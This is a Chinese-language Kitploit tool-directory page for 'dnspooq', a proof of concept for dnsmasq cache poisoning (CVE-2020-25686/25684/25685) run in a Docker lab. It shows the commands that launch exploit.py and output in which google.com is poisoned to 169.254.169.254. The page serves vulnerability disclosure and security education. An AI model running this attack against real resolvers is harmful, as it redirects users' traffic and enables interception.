Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
dnspooq — DNSpooq - dnsmasq 缓存投毒 (CVE-2020-25686, CVE-2020-25684, CVE-2020-25685) | Kitploit
工具/GitHubGitHub/knqyf263/dnspooq
漏洞分析漏洞利用渗透测试学习与教育DNS 分析
GitHubknqyf263/dnspooq

dnspooq

DNSpooq - dnsmasq 缓存投毒 (CVE-2020-25686, CVE-2020-25684, CVE-2020-25685)

查看仓库
101375年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

dnspooq

DNSpooq 概念验证 - dnsmasq 缓存投毒 (CVE-2020-25686, CVE-2020-25684, CVE-2020-25685)

仅供教育目的使用

要求

  • Docker compose
  • Docker

利用

dnspooq

启动容器

root@kitploit:~
$ docker-compose up -d

运行 exploit.py

root@kitploit:~
$ docker-compose exec attacker bash
bash-5.0# python exploit.py
查询未缓存的名称...
生成伪造的数据包...
已投毒: b'google.com.' => 169.254.169.254
在 50.309 秒内发送了 3032017 个响应

查看转发容器输出

root@kitploit:~
$ docker-compose logs -f forwarder
...
forwarder_1  | dnsmasq[1]: query[A] example.com from 10.10.0.3
forwarder_1  | dnsmasq[1]: forwarded example.com to 10.10.0.4
forwarder_1  | dnsmasq[1]: cached example.com is <CNAME>
forwarder_1  | dnsmasq[1]: cached google.com is 169.254.169.254

查看缓存容器输出

root@kitploit:~
$ docker-compose logs -f cache
Attaching to dnspooq_cache_1
cache_1      | 嗅探中...
cache_1      | 源端口: 46816, TXID: 16476, 查询: b'example.com.'
cache_1      | 源端口: 16718, TXID: 54280, 查询: b'example.com.'
...
cache_1      | 源端口: 46816, TXID: 56240, 查询: b'example.com.'
cache_1      | 源端口: 46816, TXID: 24160, 查询: b'example.com.'
cache_1      | 源端口: 46816, TXID: 18189, 查询: b'example.com.'
cache_1      | 源端口: 46816, TXID: 40361, 查询: b'example.com.'
cache_1      | 源端口: 46816, TXID: 13100, 查询: b'example.com.'
cache_1      | 源端口: 46816, TXID: 47303, 查询: b'example.com.'

参考

  • https://www.jsof-tech.com/disclosures/dnspooq/
  • https://www.jsof-tech.com/wp-content/uploads/2021/01/DNSpooq-Technical-WP.pdf

作者

Teppei Fukuda

下载工具